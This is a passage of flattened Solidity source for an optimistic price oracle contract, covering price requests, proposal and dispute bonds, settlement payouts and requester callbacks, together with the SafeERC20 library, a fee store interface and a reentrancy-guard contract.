* @title Optimistic Requester.
* @notice Optional interface that requesters can implement to receive callbacks.
* @dev this contract does _not_ work with ERC777 collateral currencies or any others that call into the receiver on
* transfer(). Using an ERC777 token would allow a user to maliciously grief other participants (while also losing
* money themselves).
*/
interface OptimisticRequester {
/**
* @notice Callback for proposals.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data of the price being requested.
*/
function priceProposed(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external;
/**
* @notice Callback for disputes.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data of the price being requested.
* @param refund refund received in the case that refundOnDispute was enabled.
*/
function priceDisputed(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 refund
) external;
/**
* @notice Callback for settlement.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data of the price being requested.
* @param price price that was resolved by the escalation process.
*/
function priceSettled(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 price
) external;
}
/**
* @title Optimistic Oracle.
* @notice Pre-DVM escalation contract that allows faster settlement.
*/
contract OptimisticOracle is OptimisticOracleInterface, Testable, Lockable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
event RequestPrice(
address indexed requester,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
address currency,
uint256 reward,
uint256 finalFee
);
event ProposePrice(
address indexed requester,
address indexed proposer,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
int256 proposedPrice,
uint256 expirationTimestamp,
address currency
);
event DisputePrice(
address indexed requester,
address indexed proposer,
address indexed disputer,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
int256 proposedPrice
);
event Settle(
address indexed requester,
address indexed proposer,
address indexed disputer,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
int256 price,
uint256 payout
);
mapping(bytes32 => Request) public requests;
// Finder to provide addresses for DVM contracts.
FinderInterface public finder;
// Default liveness value for all price requests.
uint256 public defaultLiveness;
/**
* @notice Constructor.
* @param _liveness default liveness applied to each price request.
* @param _finderAddress finder to use to get addresses of DVM contracts.
* @param _timerAddress address of the timer contract. Should be 0x0 in prod.
*/
constructor(
uint256 _liveness,
address _finderAddress,
address _timerAddress
) public Testable(_timerAddress) {
finder = FinderInterface(_finderAddress);
_validateLiveness(_liveness);
defaultLiveness = _liveness;
}
/**
* @notice Requests a new price.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data representing additional args being passed with the price request.
* @param currency ERC20 token used for payment of rewards and fees. Must be approved for use with the DVM.
* @param reward reward offered to a successful proposer. Will be pulled from the caller. Note: this can be 0,
* which could make sense if the contract requests and proposes the value in the same call or
* provides its own reward system.
* @return totalBond default bond (final fee) + final fee that the proposer and disputer will be required to pay.
* This can be changed with a subsequent call to setBond().
*/
function requestPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
IERC20 currency,
uint256 reward
) external override nonReentrant() returns (uint256 totalBond) {
require(getState(msg.sender, identifier, timestamp, ancillaryData) == State.Invalid, "requestPrice: Invalid");
require(_getIdentifierWhitelist().isIdentifierSupported(identifier), "Unsupported identifier");
require(_getCollateralWhitelist().isOnWhitelist(address(currency)), "Unsupported currency");
require(timestamp <= getCurrentTime(), "Timestamp in future");
require(ancillaryData.length <= ancillaryBytesLimit, "Invalid ancillary data");
uint256 finalFee = _getStore().computeFinalFee(address(currency)).rawValue;
requests[_getId(msg.sender, identifier, timestamp, ancillaryData)] = Request({
proposer: address(0),
disputer: address(0),
currency: currency,
settled: false,
refundOnDispute: false,
proposedPrice: 0,
resolvedPrice: 0,
expirationTime: 0,
reward: reward,
finalFee: finalFee,
bond: finalFee,
customLiveness: 0
});
if (reward > 0) {
currency.safeTransferFrom(msg.sender, address(this), reward);
}
emit RequestPrice(msg.sender, identifier, timestamp, ancillaryData, address(currency), reward, finalFee);
// This function returns the initial proposal bond for this request, which can be customized by calling
// setBond() with the same identifier and timestamp.
return finalFee.mul(2);
}
/**
* @notice Set the proposal bond associated with a price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param bond custom bond amount to set.
* @return totalBond new bond + final fee that the proposer and disputer will be required to pay. This can be
* changed again with a subsequent call to setBond().
*/
function setBond(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 bond
) external override nonReentrant() returns (uint256 totalBond) {
require(getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested, "setBond: Requested");
Request storage request = _getRequest(msg.sender, identifier, timestamp, ancillaryData);
request.bond = bond;
// Total bond is the final fee + the newly set bond.
return bond.add(request.finalFee);
}
/**
* @notice Sets the request to refund the reward if the proposal is disputed. This can help to "hedge" the caller
* in the event of a dispute-caused delay. Note: in the event of a dispute, the winner still receives the other's
* bond, so there is still profit to be made even if the reward is refunded.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
*/
function setRefundOnDispute(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override nonReentrant() {
require(
getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested,
"setRefundOnDispute: Requested"
);
_getRequest(msg.sender, identifier, timestamp, ancillaryData).refundOnDispute = true;
}
/**
* @notice Sets a custom liveness value for the request. Liveness is the amount of time a proposal must wait before
* being auto-resolved.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param customLiveness new custom liveness.
*/
function setCustomLiveness(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 customLiveness
) external override nonReentrant() {
require(
getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested,
"setCustomLiveness: Requested"
);
_validateLiveness(customLiveness);
_getRequest(msg.sender, identifier, timestamp, ancillaryData).customLiveness = customLiveness;
}
/**
* @notice Proposes a price value on another address' behalf. Note: this address will receive any rewards that come
* from this proposal. However, any bonds are pulled from the caller.
* @param proposer address to set as the proposer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePriceFor(
address proposer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) public override nonReentrant() returns (uint256 totalBond) {
require(proposer != address(0), "proposer address must be non 0");
require(
getState(requester, identifier, timestamp, ancillaryData) == State.Requested,
"proposePriceFor: Requested"
);
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
request.proposer = proposer;
request.proposedPrice = proposedPrice;
// If a custom liveness has been set, use it instead of the default.
request.expirationTime = getCurrentTime().add(
request.customLiveness != 0 ? request.customLiveness : defaultLiveness
);
totalBond = request.bond.add(request.finalFee);
if (totalBond > 0) {
request.currency.safeTransferFrom(msg.sender, address(this), totalBond);
}
emit ProposePrice(
requester,
proposer,
identifier,
timestamp,
ancillaryData,
proposedPrice,
request.expirationTime,
address(request.currency)
);
// Callback.
if (address(requester).isContract())
try OptimisticRequester(requester).priceProposed(identifier, timestamp, ancillaryData) {} catch {}
}
/**
* @notice Proposes a price value for an existing price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the proposer's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) external override returns (uint256 totalBond) {
// Note: re-entrancy guard is done in the inner call.
return proposePriceFor(msg.sender, requester, identifier, timestamp, ancillaryData, proposedPrice);
}
/**
* @notice Disputes a price request with an active proposal on another address' behalf. Note: this address will
* receive any rewards that come from this dispute. However, any bonds are pulled from the caller.
* @param disputer address to set as the disputer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was valid (the proposal was incorrect).
*/
function disputePriceFor(
address disputer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public override nonReentrant() returns (uint256 totalBond) {
require(disputer != address(0), "disputer address must be non 0");
require(
getState(requester, identifier, timestamp, ancillaryData) == State.Proposed,
"disputePriceFor: Proposed"
);
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
request.disputer = disputer;
uint256 finalFee = request.finalFee;
uint256 bond = request.bond;
totalBond = bond.add(finalFee);
if (totalBond > 0) {
request.currency.safeTransferFrom(msg.sender, address(this), totalBond);
}
StoreInterface store = _getStore();
// Avoids stack too deep compilation error.
{
// Along with the final fee, "burn" part of the loser's bond to ensure that a larger bond always makes it
// proportionally more expensive to delay the resolution even if the proposer and disputer are the same
// party.
uint256 burnedBond = _computeBurnedBond(request);
// The total fee is the burned bond and the final fee added together.
uint256 totalFee = finalFee.add(burnedBond);
if (totalFee > 0) {
request.currency.safeIncreaseAllowance(address(store), totalFee);
_getStore().payOracleFeesErc20(address(request.currency), FixedPoint.Unsigned(totalFee));
}
}
_getOracle().requestPrice(identifier, timestamp, _stampAncillaryData(ancillaryData, requester));
// Compute refund.
uint256 refund = 0;
if (request.reward > 0 && request.refundOnDispute) {
refund = request.reward;
request.reward = 0;
request.currency.safeTransfer(requester, refund);
}
emit DisputePrice(
requester,
request.proposer,
disputer,
identifier,
timestamp,
ancillaryData,
request.proposedPrice
);
// Callback.
if (address(requester).isContract())
try OptimisticRequester(requester).priceDisputed(identifier, timestamp, ancillaryData, refund) {} catch {}
}
/**
* @notice Disputes a price value for an existing price request with an active proposal.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the disputer's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was valid (the proposal was incorrect).
*/
function disputePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override returns (uint256 totalBond) {
// Note: re-entrancy guard is done in the inner call.
return disputePriceFor(msg.sender, requester, identifier, timestamp, ancillaryData);
}
/**
* @notice Retrieves a price that was previously requested by a caller. Reverts if the request is not settled
* or settleable. Note: this method is not view so that this call may actually settle the price request if it
* hasn't been settled.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return resolved price.
*/
function settleAndGetPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override nonReentrant() returns (int256) {
if (getState(msg.sender, identifier, timestamp, ancillaryData) != State.Settled) {
_settle(msg.sender, identifier, timestamp, ancillaryData);
}
return _getRequest(msg.sender, identifier, timestamp, ancillaryData).resolvedPrice;
}
/**
* @notice Attempts to settle an outstanding price request. Will revert if it isn't settleable.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return payout the amount that the "winner" (proposer or disputer) receives on settlement. This amount includes
* the returned bonds as well as additional rewards.
*/
function settle(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override nonReentrant() returns (uint256 payout) {
return _settle(requester, identifier, timestamp, ancillaryData);
}
/**
* @notice Gets the current data structure containing all information about a price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the Request data structure.
*/
function getRequest(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view override returns (Request memory) {
return _getRequest(requester, identifier, timestamp, ancillaryData);
}
/**
* @notice Computes the current state of a price request. See the State enum for more details.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the State.
*/
function getState(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view override returns (State) {
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
if (address(request.currency) == address(0)) {
return State.Invalid;
}
if (request.proposer == address(0)) {
return State.Requested;
}
if (request.settled) {
return State.Settled;
}
if (request.disputer == address(0)) {
return request.expirationTime <= getCurrentTime() ? State.Expired : State.Proposed;
}
return
_getOracle().hasPrice(identifier, timestamp, _stampAncillaryData(ancillaryData, requester))
? State.Resolved
: State.Disputed;
}
/**
* @notice Checks if a given request has resolved, expired or been settled (i.e the optimistic oracle has a price).
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return boolean indicating true if price exists and false if not.
*/
function hasPrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view override returns (bool) {
State state = getState(requester, identifier, timestamp, ancillaryData);
return state == State.Settled || state == State.Resolved || state == State.Expired;
}
/**
* @notice Generates stamped ancillary data in the format that it would be used in the case of a price dispute.
* @param ancillaryData ancillary data of the price being requested.
* @param requester sender of the initial price request.
* @return the stampped ancillary bytes.
*/
function stampAncillaryData(bytes memory ancillaryData, address requester) public pure returns (bytes memory) {
return _stampAncillaryData(ancillaryData, requester);
}
function _getId(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) private pure returns (bytes32) {
return keccak256(abi.encodePacked(requester, identifier, timestamp, ancillaryData));
}
function _settle(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) private returns (uint256 payout) {
State state = getState(requester, identifier, timestamp, ancillaryData);
// Set it to settled so this function can never be entered again.
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
request.settled = true;
if (state == State.Expired) {
// In the expiry case, just pay back the proposer's bond and final fee along with the reward.
request.resolvedPrice = request.proposedPrice;
payout = request.bond.add(request.finalFee).add(request.reward);
request.currency.safeTransfer(request.proposer, payout);
} else if (state == State.Resolved) {
// In the Resolved case, pay either the disputer or the proposer the entire payout (+ bond and reward).
request.resolvedPrice = _getOracle().getPrice(
identifier,
timestamp,
_stampAncillaryData(ancillaryData, requester)
);
bool disputeSuccess = request.resolvedPrice != request.proposedPrice;
uint256 bond = request.bond;
// Unburned portion of the loser's bond = 1 - burned bond.
uint256 unburnedBond = bond.sub(_computeBurnedBond(request));
// Winner gets:
// - Their bond back.
// - The unburned portion of the loser's bond.
// - Their final fee back.
// - The request reward (if not already refunded -- if refunded, it will be set to 0).
payout = bond.add(unburnedBond).add(request.finalFee).add(request.reward);
request.currency.safeTransfer(disputeSuccess ? request.disputer : request.proposer, payout);
} else {
revert("_settle: not settleable");
}
emit Settle(
requester,
request.proposer,
request.disputer,
identifier,
timestamp,
ancillaryData,
request.resolvedPrice,
payout
);
// Callback.
if (address(requester).isContract())
try
OptimisticRequester(requester).priceSettled(identifier, timestamp, ancillaryData, request.resolvedPrice)
{} catch {}
}
function _getRequest(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) private view returns (Request storage) {
return requests[_getId(requester, identifier, timestamp, ancillaryData)];
}
function _computeBurnedBond(Request storage request) private view returns (uint256) {
// burnedBond = floor(bond / 2)
return request.bond.div(2);
}
function _validateLiveness(uint256 _liveness) private pure {
require(_liveness < 5200 weeks, "Liveness too large");
require(_liveness > 0, "Liveness cannot be 0");
}
function _getOracle() internal view returns (OracleAncillaryInterface) {
return OracleAncillaryInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
function _getCollateralWhitelist() internal view returns (AddressWhitelist) {
return AddressWhitelist(finder.getImplementationAddress(OracleInterfaces.CollateralWhitelist));
}
function _getStore() internal view returns (StoreInterface) {
return StoreInterface(finder.getImplementationAddress(OracleInterfaces.Store));
}
function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
// Stamps the ancillary data blob with the optimistic oracle tag denoting what contract requested it.
function _stampAncillaryData(bytes memory ancillaryData, address requester) internal pure returns (bytes memory) {
return abi.encodePacked(ancillaryData, "OptimisticOracle", requester);
}
}
pragma solidity ^0.6.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @title Interface that allows financial contracts to pay oracle fees for their use of the system.
*/
interface StoreInterface {
/**
* @notice Pays Oracle fees in ETH to the store.
* @dev To be used by contracts whose margin currency is ETH.
*/
function payOracleFees() external payable;
/**
* @notice Pays oracle fees in the margin currency, erc20Address, to the store.
* @dev To be used if the margin currency is an ERC20 token rather than ETH.
* @param erc20Address address of the ERC20 token used to pay the fee.
* @param amount number of tokens to transfer. An approval for at least this amount must exist.
*/
function payOracleFeesErc20(address erc20Address, FixedPoint.Unsigned calldata amount) external;
/**
* @notice Computes the regular oracle fees that a contract should pay for a period.
* @param startTime defines the beginning time from which the fee is paid.
* @param endTime end time until which the fee is paid.
* @param pfc "profit from corruption", or the maximum amount of margin currency that a
* token sponsor could extract from the contract through corrupting the price feed in their favor.
* @return regularFee amount owed for the duration from start to end time for the given pfc.
* @return latePenalty for paying the fee after the deadline.
*/
function computeRegularFee(
uint256 startTime,
uint256 endTime,
FixedPoint.Unsigned calldata pfc
) external view returns (FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty);
/**
* @notice Computes the final oracle fees that a contract should pay at settlement.
* @param currency token used to pay the final fee.
* @return finalFee amount due.
*/
function computeFinalFee(address currency) external view returns (FixedPoint.Unsigned memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title Financial contract facing Oracle interface.
* @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface.
*/
abstract contract OptimisticOracleInterface {
// Struct representing the state of a price request.
enum State {
Invalid, // Never requested.
Requested, // Requested, no other actions taken.
Proposed, // Proposed, but not expired or disputed yet.
Expired, // Proposed, not disputed, past liveness.
Disputed, // Disputed, but no DVM price returned yet.
Resolved, // Disputed and DVM price is available.
Settled // Final price has been set in the contract (can get here from Expired or Resolved).
}
// Struct representing a price request.
struct Request {
address proposer; // Address of the proposer.
address disputer; // Address of the disputer.
IERC20 currency; // ERC20 token used to pay rewards and fees.
bool settled; // True if the request is settled.
bool refundOnDispute; // True if the requester should be refunded their reward on dispute.
int256 proposedPrice; // Price that the proposer submitted.
int256 resolvedPrice; // Price resolved once the request is settled.
uint256 expirationTime; // Time at which the request auto-settles without a dispute.
uint256 reward; // Amount of the currency to pay to the proposer on settlement.
uint256 finalFee; // Final fee to pay to the Store upon request to the DVM.
uint256 bond; // Bond that the proposer and disputer must pay on top of the final fee.
uint256 customLiveness; // Custom liveness value set by the requester.
}
// This value must be <= the Voting contract's `ancillaryBytesLimit` value otherwise it is possible
// that a price can be requested to this contract successfully, but cannot be disputed because the DVM refuses
// to accept a price request made with ancillary data length of a certain size.
uint256 public constant ancillaryBytesLimit = 8192;
/**
* @notice Requests a new price.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data representing additional args being passed with the price request.
* @param currency ERC20 token used for payment of rewards and fees. Must be approved for use with the DVM.
* @param reward reward offered to a successful proposer. Will be pulled from the caller. Note: this can be 0,
* which could make sense if the contract requests and proposes the value in the same call or
* provides its own reward system.
* @return totalBond default bond (final fee) + final fee that the proposer and disputer will be required to pay.
* This can be changed with a subsequent call to setBond().
*/
function requestPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
IERC20 currency,
uint256 reward
) external virtual returns (uint256 totalBond);
/**
* @notice Set the proposal bond associated with a price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param bond custom bond amount to set.
* @return totalBond new bond + final fee that the proposer and disputer will be required to pay. This can be
* changed again with a subsequent call to setBond().
*/
function setBond(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 bond
) external virtual returns (uint256 totalBond);
/**
* @notice Sets the request to refund the reward if the proposal is disputed. This can help to "hedge" the caller
* in the event of a dispute-caused delay. Note: in the event of a dispute, the winner still receives the other's
* bond, so there is still profit to be made even if the reward is refunded.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
*/
function setRefundOnDispute(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual;
/**
* @notice Sets a custom liveness value for the request. Liveness is the amount of time a proposal must wait before
* being auto-resolved.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param customLiveness new custom liveness.
*/
function setCustomLiveness(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 customLiveness
) external virtual;
/**
* @notice Proposes a price value on another address' behalf. Note: this address will receive any rewards that come
* from this proposal. However, any bonds are pulled from the caller.
* @param proposer address to set as the proposer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePriceFor(
address proposer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) public virtual returns (uint256 totalBond);
/**
* @notice Proposes a price value for an existing price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the proposer's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) external virtual returns (uint256 totalBond);
/**
* @notice Disputes a price request with an active proposal on another address' behalf. Note: this address will
* receive any rewards that come from this dispute. However, any bonds are pulled from the caller.
* @param disputer address to set as the disputer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was value (the proposal was incorrect).
*/
function disputePriceFor(
address disputer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public virtual returns (uint256 totalBond);
/**
* @notice Disputes a price value for an existing price request with an active proposal.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the disputer's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was valid (the proposal was incorrect).
*/
function disputePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (uint256 totalBond);
/**
* @notice Retrieves a price that was previously requested by a caller. Reverts if the request is not settled
* or settleable. Note: this method is not view so that this call may actually settle the price request if it
* hasn't been settled.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return resolved price.
*/
function settleAndGetPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (int256);
/**
* @notice Attempts to settle an outstanding price request. Will revert if it isn't settleable.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return payout the amount that the "winner" (proposer or disputer) receives on settlement. This amount includes
* the returned bonds as well as additional rewards.
*/
function settle(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (uint256 payout);
/**
* @notice Gets the current data structure containing all information about a price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the Request data structure.
*/
function getRequest(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (Request memory);
function getState(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (State);
/**
* @notice Checks if a given request has resolved or been settled (i.e the optimistic oracle has a price).
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the State.
*/
function hasPrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title A contract that provides modifiers to prevent reentrancy to state-changing and view-only methods. This contract
* is inspired by https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol
* and https://github.com/balancer-labs/balancer-core/blob/master/contracts/BPool.sol.
*/
contract Lockable {
bool private _notEntered;
constructor() internal {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_preEntranceCheck();
_preEntranceSet();
_;
_postEntranceReset();
}
/**
* @dev Designed to prevent a view-only method from being re-entered during a call to a `nonReentrant()` state-changing method.
*/
modifier nonReentrantView() {
_preEntranceCheck();
_;
}
// Internal methods are used to avoid copying the require statement's bytecode to every `nonReentrant()` method.
// On entry into a function, `_preEntranceCheck()` should always be called to check if the function is being re-entered.
// Then, if the function modifies state, it should call `_postEntranceSet()`, perform its logic, and then call `_postEntranceReset()`.
// View-only methods can simply call `_preEntranceCheck()` to make sure that it is not being re-entered.
function _preEntranceCheck() internal view {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
}
function _preEntranceSet() internal {
// Any calls to nonReentrant after this point will fail
_notEntered = false;
}
function _postEntranceReset() internal {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
